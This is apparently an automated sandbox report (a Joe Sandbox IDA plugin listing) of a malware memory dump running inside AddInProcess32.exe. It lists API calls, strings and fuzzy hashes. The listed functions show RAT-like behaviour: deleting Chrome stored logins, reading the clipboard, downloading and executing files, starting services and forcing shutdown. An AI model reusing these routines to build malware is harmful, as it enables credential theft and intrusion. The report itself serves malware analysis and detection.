Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
Opcode Fuzzy Hash: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758

Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D

ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
LoadLibraryA.KERNEL32(PowrProf.dll), ref: 0041686B
GetProcAddress.KERNEL32(00000000), ref: 00416872

Strings

!D@, xrefs: 00417089
SetSuspendState, xrefs: 00416861
PowrProf.dll, xrefs: 00416866

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
String ID: !D@$PowrProf.dll$SetSuspendState
API String ID: 1589313981-2876530381
Opcode ID: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
Opcode Fuzzy Hash: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE

Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513

Strings

ACP, xrefs: 0045245A
OCP, xrefs: 00452490
['E, xrefs: 004524F3, 004524CA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP$['E
API String ID: 2299586839-2532616801
Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398

Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
GetLastError.KERNEL32 ref: 0040BA58

Strings

\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
[Chrome StoredLogins not found], xrefs: 0040BA72
[Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
UserProfile, xrefs: 0040BA1E

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
API String ID: 2018770650-1062637481
Opcode ID: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
Opcode Fuzzy Hash: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE

Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
OpenProcessToken.ADVAPI32(00000000), ref: 00417966
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
GetLastError.KERNEL32 ref: 0041799D

Strings

SeShutdownPrivilege, xrefs: 00417972

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3534403312-3733053543
Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5

Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00409258

Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

__CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
FindClose.KERNEL32(00000000), ref: 004093C1

Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
Part of subcall function 00404E26: SetEvent.KERNEL32(?), ref: 00404E43
Part of subcall function 00404E26: CloseHandle.KERNELBASE(?), ref: 00404E4C

FindClose.KERNEL32(00000000), ref: 004095B9

Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
String ID:
API String ID: 1824512719-0
Opcode ID: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
Opcode Fuzzy Hash: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98

Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ManagerStart
String ID:
API String ID: 276877138-0
Opcode ID: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
Opcode Fuzzy Hash: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9

Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00413549: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 00413569
Part of subcall function 00413549: RegQueryValueExA.ADVAPI32 ref: 00413587
Part of subcall function 00413549: RegCloseKey.ADVAPI32(00000000), ref: 00413592

Sleep.KERNEL32(00000BB8), ref: 0040F85B
ExitProcess.KERNEL32 ref: 0040F8CA

Strings

5.1.0 Pro, xrefs: 0040F836, 0040F8A3
override, xrefs: 0040F7CC
pth_unenc, xrefs: 0040F7BD, 0040F804, 0040F871

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseExitOpenProcessQuerySleepValue
String ID: 5.1.0 Pro$override$pth_unenc
API String ID: 2281282204-182549033
Opcode ID: 239e53c764d611775cc28217bb96d4133c4679258c828bc8db514802d76be294
Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
Opcode Fuzzy Hash: 239e53c764d611775cc28217bb96d4133c4679258c828bc8db514802d76be294
Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF

Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32 ref: 0041B4B9
LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3

Strings

SETTINGS, xrefs: 0041B4AC

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID: SETTINGS
API String ID: 3473537107-594951305
Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8

Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040966A
FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstH_prologNext
String ID:
API String ID: 1157919129-0
Opcode ID: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
Opcode Fuzzy Hash: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58

Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408811
FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
__CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Find$File$CloseException@8FirstH_prologNextThrow
String ID:
API String ID: 1771804793-0
Opcode ID: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
Instruction ID: 1e810be39857a3d86828f92fa26e793a4655b35e172fafea17edde612d57cc14
Opcode Fuzzy Hash: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
Instruction Fuzzy Hash: 16515F72900209AACF04FB61DD569ED7778AF11308F50417FB946B61E2EF389B48CB99

Function 00406EB0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406FBC
URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 004070A0

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 00407007, 0040712F
open, xrefs: 00406FB6

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DownloadExecuteFileShell
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$open
API String ID: 2825088817-2881483049
Opcode ID: 78e10e9a612b22b91ebf8b2931271f85cca1af5336b97d423d0fb1973267ad11
Instruction ID: 27a8b34c094a82f854f2ee3e6b31e6014a71d41456184bc7540e3ceb6c1d0c01
Opcode Fuzzy Hash: 78e10e9a612b22b91ebf8b2931271f85cca1af5336b97d423d0fb1973267ad11
Instruction Fuzzy Hash: 6561A171B0830166CA24FB76C8569BE37A59F81748F50093FB942772D2EE3C9905C69B

Function 0040783C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00407857
FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 0040791F

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

XPG, xrefs: 0040793A
XPG, xrefs: 00407877

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNextsend
String ID: XPG$XPG
API String ID: 4113138495-1962359302
Opcode ID: da2a088c2c47bfc86c5ef0d10107ac4426fe09f0bf14043eaa07d8cc52736815
Instruction ID: 6b6d716c6ecdfe6ec78918620e47e684a121d368db73a1555a51ac38f2ecb6eb
Opcode Fuzzy Hash: da2a088c2c47bfc86c5ef0d10107ac4426fe09f0bf14043eaa07d8cc52736815
Instruction Fuzzy Hash: 212195325083419BC314FB61D855DEFB3ACAF90358F40493EF696621E1EF78AA09C65B

Function 004461F0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Strings

PkGNG, xrefs: 004461F2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: PkGNG
API String ID: 0-263838557
Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction ID: a89a86a7c059f2ce1b75669fee0c4fca3fa64158462c9470c468cddaecc71d09
Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
Instruction Fuzzy Hash: FB025D71E002199BEF14CFA9D8806AEBBF1FF49324F26416AD819E7344D734AE41CB85

Function 00451CD8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB

Strings

sJD, xrefs: 00451DD1, 00451E19, 00451EC1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
String ID: sJD
API String ID: 1661935332-3536923933
Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769

Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

Part of subcall function 00448215: _free.LIBCMT ref: 00448274
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
Opcode Fuzzy Hash: b894af2e73636fd6e8af7e748ba09ab431642972e93d3e8eb2aea65845f920f8
Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58

Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,004334BF,00000034,?,?,00000000), ref: 00433849
CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?), ref: 0043385F
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?,0041E251), ref: 00433871

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C

Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00000000), ref: 0040B711
GetClipboardData.USER32 ref: 0040B71D
CloseClipboard.USER32 ref: 0040B725

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataOpen
String ID:
API String ID: 2058664381-0
Opcode ID: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
Opcode Fuzzy Hash: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD

Function 0044E879 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 0044EA0C

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 467a2b870f27eeaba5f3d85303d6c443c91537f9433fd9512f86f3d9895b4a39
Instruction ID: 28de479bcd0ee174bbf7ea2f8c467f6584cf945aa63ddb2e5cfeaaf716254919
Opcode Fuzzy Hash: 467a2b870f27eeaba5f3d85303d6c443c91537f9433fd9512f86f3d9895b4a39
Instruction Fuzzy Hash: 233106B2900149AFEB249E7ACC85EEB7BBDEF45304F1001AEE819D7291E6349D458B54

Function 00451F9B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

EnumSystemLocalesW.KERNEL32(004520C3,00000001,00000000,?,lJD,?,004526F0,00000000,?,?,?), ref: 0045200D

Strings

lJD, xrefs: 00451FA0

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID: lJD
API String ID: 1084509184-3316369744
Opcode ID: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
Opcode Fuzzy Hash: 8fcc83528109b8aaf498f975bbbcb34ae0404b7acadb8afce226787919ce0173
Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44

Function 00452036 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

EnumSystemLocalesW.KERNEL32(00452313,00000001,?,?,lJD,?,004526B4,lJD,?,?,?,?,?,00444A6C,?,?), ref: 00452082

Strings

lJD, xrefs: 0045203B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID: lJD
API String ID: 1084509184-3316369744
Opcode ID: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
Opcode Fuzzy Hash: acb24ebe04e4856a9c83d3494bcbe1da60fd92419c71b9527b23937778bf3cf5
Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604

Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940

Strings

GetLocaleInfoEx, xrefs: 00448908

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 2ed918041740e922be2658b84ad46ef82702f2d46b5b06d040e10602c5128833
Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
Opcode Fuzzy Hash: 2ed918041740e922be2658b84ad46ef82702f2d46b5b06d040e10602c5128833
Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E

Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
HeapFree.KERNEL32(00000000), ref: 004120EE

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
